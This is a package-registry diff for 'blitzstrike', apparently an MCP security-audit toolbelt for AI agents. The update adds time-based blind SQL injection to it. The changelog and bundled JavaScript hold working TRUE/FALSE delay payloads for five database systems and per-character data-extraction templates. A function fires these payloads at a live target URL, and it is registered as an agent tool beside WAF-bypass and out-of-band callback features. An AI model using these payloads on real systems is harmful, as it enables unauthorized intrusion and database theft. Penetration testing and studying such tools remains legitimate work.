blitzstrike 2.4.150 → 2.4.151
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +14 -0
- package/dist/index.js +62 -11
- package/package.json +1 -1
package/CHANGELOG.md
CHANGED
|
@@ -5,6 +5,20 @@ All notable changes to Blitz Strike are documented here.
|
|
|
5
5
|
The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
|
|
6
6
|
and this project adheres to [Semantic Versioning](https://semver.org/).
|
|
7
7
|
|
|
8
|
+
## [2.4.151] — 2026-10-11
|
|
9
|
+
|
|
10
|
+
### Added — time-based blind SQLi (per-DBMS, detection + extraction)
|
|
11
|
+
|
|
12
|
+
- `blind_sqli` now returns a correct per-DBMS time oracle + `time_fn`: SLEEP(sec)
|
|
13
|
+
(mysql), pg_sleep(sec) (postgresql), WAITFOR DELAY (mssql, stacked ;IF),
|
|
14
|
+
dbms_pipe.receive_message (oracle, a function — not the dbms_lock.sleep procedure),
|
|
15
|
+
randomblob (sqlite). Fixed the previous MySQL-only IF() syntax that leaked into
|
|
16
|
+
the mssql/oracle extraction templates.
|
|
17
|
+
- `blind_oracle` gained a `time` sink + `time_dbms` option: after arithmetic probes
|
|
18
|
+
flag SQL context, the time probes (TRUE/FALSE delay branch) confirm a blind SQLi
|
|
19
|
+
via a >2s timing differential when the boolean body is identical.
|
|
20
|
+
547/547 tests.
|
|
21
|
+
|
|
8
22
|
## [2.4.150] — 2026-10-11
|
|
9
23
|
|
|
10
24
|
### Fixed — func-paren-split WAF bypass (MySQL 8.0 correctness)
|
package/dist/index.js
CHANGED
|
@@ -59962,13 +59962,41 @@ function listWafBypassDbms() {
|
|
|
59962
59962
|
// src/blind-sqli.ts
|
|
59963
59963
|
var WAF_BYPASS = WAF_BYPASS_FLAT;
|
|
59964
59964
|
function oracleConfirm(dbms) {
|
|
59965
|
-
const time =
|
|
59965
|
+
const time = {
|
|
59966
|
+
mysql: {
|
|
59967
|
+
true_: `' AND IF(1=1,SLEEP(5),0)-- -`,
|
|
59968
|
+
false_: `' AND IF(1=2,SLEEP(5),0)-- -`,
|
|
59969
|
+
fn: "SLEEP(sec)"
|
|
59970
|
+
},
|
|
59971
|
+
postgresql: {
|
|
59972
|
+
true_: `' OR (SELECT 1 FROM pg_sleep(5)) IS NOT NULL--`,
|
|
59973
|
+
false_: `' OR (SELECT 1 FROM pg_sleep(0)) IS NOT NULL--`,
|
|
59974
|
+
fn: "pg_sleep(sec)"
|
|
59975
|
+
},
|
|
59976
|
+
mssql: {
|
|
59977
|
+
true_: `'; IF (1=1) WAITFOR DELAY '0:0:5'--`,
|
|
59978
|
+
false_: `'; IF (1=2) WAITFOR DELAY '0:0:5'--`,
|
|
59979
|
+
fn: "WAITFOR DELAY '0:0:sec' (stacked ;IF)"
|
|
59980
|
+
},
|
|
59981
|
+
oracle: {
|
|
59982
|
+
true_: `' OR 1=1 AND dbms_pipe.receive_message('x',5) IS NULL--`,
|
|
59983
|
+
false_: `' OR 1=2 AND dbms_pipe.receive_message('x',5) IS NULL--`,
|
|
59984
|
+
fn: "dbms_pipe.receive_message('x',sec) (needs EXECUTE; dbms_lock.sleep is a procedure)"
|
|
59985
|
+
},
|
|
59986
|
+
sqlite: {
|
|
59987
|
+
true_: `' AND 1=1 AND randomblob(500000000)--`,
|
|
59988
|
+
false_: `' AND 1=2 AND randomblob(500000000)--`,
|
|
59989
|
+
fn: "randomblob(sec*100000000)"
|
|
59990
|
+
}
|
|
59991
|
+
};
|
|
59992
|
+
const t = time[dbms];
|
|
59966
59993
|
return {
|
|
59967
59994
|
boolean_true: `' AND 1=1-- -`,
|
|
59968
59995
|
boolean_false: `' AND 1=2-- -`,
|
|
59969
|
-
time_true:
|
|
59970
|
-
time_false:
|
|
59971
|
-
|
|
59996
|
+
time_true: t.true_,
|
|
59997
|
+
time_false: t.false_,
|
|
59998
|
+
time_fn: t.fn,
|
|
59999
|
+
note: "TRUE vs FALSE differential = byte-count (e.g. TRUE=2814 vs FALSE=0), status code, or timing. A clean oracle is the prerequisite for every extraction below. Use the boolean oracle when the body differs; fall back to the time oracle when the body is IDENTICAL (only timing differs)."
|
|
59972
60000
|
};
|
|
59973
60001
|
}
|
|
59974
60002
|
function playbook(dbms) {
|
|
@@ -60042,7 +60070,7 @@ function playbook(dbms) {
|
|
|
60042
60070
|
oracle: oracleConfirm(dbms),
|
|
60043
60071
|
extraction: {
|
|
60044
60072
|
boolean: `' AND SUBSTRING(({query}),{pos},1)='{char}'--`,
|
|
60045
|
-
time: `'
|
|
60073
|
+
time: `'; IF (SUBSTRING(({query}),{pos},1)='{char}') WAITFOR DELAY '0:0:{sec}'--`,
|
|
60046
60074
|
method: "binary-search the charset. @@version → DB_NAME() → SYSTEM_USER → tables → columns → data."
|
|
60047
60075
|
},
|
|
60048
60076
|
metadata: {
|
|
@@ -60066,7 +60094,7 @@ function playbook(dbms) {
|
|
|
60066
60094
|
oracle: oracleConfirm(dbms),
|
|
60067
60095
|
extraction: {
|
|
60068
60096
|
boolean: `' AND SUBSTR(({query}),{pos},1)='{char}'--`,
|
|
60069
|
-
time: `' AND CASE WHEN SUBSTR(({query}),{pos},1)='{char}' THEN
|
|
60097
|
+
time: `' AND (SELECT CASE WHEN SUBSTR(({query}),{pos},1)='{char}' THEN dbms_pipe.receive_message('a',{sec}) END FROM dual) IS NOT NULL--`,
|
|
60070
60098
|
method: "binary-search the charset. banner → user → tables → columns → data (Oracle has no stacked info_schema; use all_tables/all_tab_columns)."
|
|
60071
60099
|
},
|
|
60072
60100
|
metadata: {
|
|
@@ -62300,6 +62328,15 @@ function sstiProbes(value) {
|
|
|
62300
62328
|
function xssProbe(value, marker) {
|
|
62301
62329
|
return { sink: "xss", name: "marker", payload: `${value}${marker}` };
|
|
62302
62330
|
}
|
|
62331
|
+
function timeProbes(dbms, value) {
|
|
62332
|
+
const p = blindSqli(dbms);
|
|
62333
|
+
if (!p)
|
|
62334
|
+
return [];
|
|
62335
|
+
return [
|
|
62336
|
+
{ sink: "time", name: "time_true", payload: `${value}${p.oracle.time_true}` },
|
|
62337
|
+
{ sink: "time", name: "time_false", payload: `${value}${p.oracle.time_false}` }
|
|
62338
|
+
];
|
|
62339
|
+
}
|
|
62303
62340
|
function classifyBlindProbe(input) {
|
|
62304
62341
|
const same = input.bodyHash === input.baselineHash;
|
|
62305
62342
|
let signal = false;
|
|
@@ -62322,6 +62359,7 @@ function classifyBlindProbe(input) {
|
|
|
62322
62359
|
async function blindOracle(baseUrl, param, value, opts = {}) {
|
|
62323
62360
|
const base = baseUrl.replace(/\/+$/, "");
|
|
62324
62361
|
const sinks = opts.sinks ?? ["sql", "ssti", "xss"];
|
|
62362
|
+
const timeDbms = opts.timeDbms ?? "mysql";
|
|
62325
62363
|
const marker = `zz${Math.random().toString(36).slice(2, 10)}zz`;
|
|
62326
62364
|
const headers = { "User-Agent": "Mozilla/5.0 (blitzstrike oracle probe)" };
|
|
62327
62365
|
const timeoutMs = opts.timeoutMs ?? 8000;
|
|
@@ -62345,6 +62383,8 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
|
|
|
62345
62383
|
probes.push(...sstiProbes(value));
|
|
62346
62384
|
if (sinks.includes("xss"))
|
|
62347
62385
|
probes.push(xssProbe(value, marker));
|
|
62386
|
+
if (sinks.includes("time"))
|
|
62387
|
+
probes.push(...timeProbes(timeDbms, value));
|
|
62348
62388
|
const results = [];
|
|
62349
62389
|
for (const p of probes) {
|
|
62350
62390
|
const t0 = Date.now();
|
|
@@ -62364,6 +62404,16 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
|
|
|
62364
62404
|
body,
|
|
62365
62405
|
marker
|
|
62366
62406
|
});
|
|
62407
|
+
let signal = cls.signal;
|
|
62408
|
+
let reason = cls.reason;
|
|
62409
|
+
if (p.sink === "time") {
|
|
62410
|
+
if (p.name === "time_true" && timing > 2000) {
|
|
62411
|
+
signal = true;
|
|
62412
|
+
reason = "time-based TRUE branch delayed the response (delay primitive fired) — blind SQLi confirmed via timing.";
|
|
62413
|
+
} else if (p.name === "time_false") {
|
|
62414
|
+
reason = timing < 2000 ? "FALSE branch returned instantly — the delay is conditional (clean time oracle)." : "FALSE branch also delayed — timing is not conditional (likely not a time oracle).";
|
|
62415
|
+
}
|
|
62416
|
+
}
|
|
62367
62417
|
results.push({
|
|
62368
62418
|
sink: p.sink,
|
|
62369
62419
|
name: p.name,
|
|
@@ -62373,8 +62423,8 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
|
|
|
62373
62423
|
timing_ms: timing,
|
|
62374
62424
|
body_hash: bodyHash.slice(0, 12),
|
|
62375
62425
|
same_as_baseline: cls.same_as_baseline,
|
|
62376
|
-
signal
|
|
62377
|
-
reason
|
|
62426
|
+
signal,
|
|
62427
|
+
reason
|
|
62378
62428
|
});
|
|
62379
62429
|
} catch {
|
|
62380
62430
|
results.push({ sink: p.sink, name: p.name, payload: p.payload, status: 0, size: 0, timing_ms: 0, body_hash: "", same_as_baseline: false, signal: false, reason: "fetch error/timeout" });
|
|
@@ -65063,16 +65113,17 @@ ${statusLine}` : statusLine },
|
|
|
65063
65113
|
base_url: string2().describe("Target base URL"),
|
|
65064
65114
|
param: string2().describe("Parameter name to probe (e.g. id)"),
|
|
65065
65115
|
value: string2().describe("Baseline value for the parameter (e.g. 1)"),
|
|
65066
|
-
sinks: string2().optional().describe("JSON array of sinks to probe (default ['sql','ssti','xss'])")
|
|
65116
|
+
sinks: string2().optional().describe("JSON array of sinks to probe (default ['sql','ssti','xss']); add 'time' for time-based blind detection (after SQL context is already flagged)"),
|
|
65117
|
+
time_dbms: string2().optional().describe("DBMS for the time-based delay primitive (mysql | postgresql | mssql | oracle | sqlite; default mysql)")
|
|
65067
65118
|
}
|
|
65068
|
-
}, async ({ base_url, param, value, sinks }) => {
|
|
65119
|
+
}, async ({ base_url, param, value, sinks, time_dbms }) => {
|
|
65069
65120
|
let s;
|
|
65070
65121
|
try {
|
|
65071
65122
|
s = sinks ? JSON.parse(sinks) : undefined;
|
|
65072
65123
|
} catch {
|
|
65073
65124
|
return { content: [{ type: "text", text: JSON.stringify({ error: "invalid sinks JSON" }) }] };
|
|
65074
65125
|
}
|
|
65075
|
-
return { content: [{ type: "text", text: JSON.stringify(await blindOracle(base_url, param, value, { sinks: s })) }] };
|
|
65126
|
+
return { content: [{ type: "text", text: JSON.stringify(await blindOracle(base_url, param, value, { sinks: s, timeDbms: time_dbms })) }] };
|
|
65076
65127
|
});
|
|
65077
65128
|
server.registerTool("oob_start", {
|
|
65078
65129
|
title: "Out-of-band callback listener (blind SSRF/XXE/SQLi/RCE proof)",
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "blitzstrike",
|
|
3
|
-
"version": "2.4.
|
|
3
|
+
"version": "2.4.151",
|
|
4
4
|
"description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"bin": {
|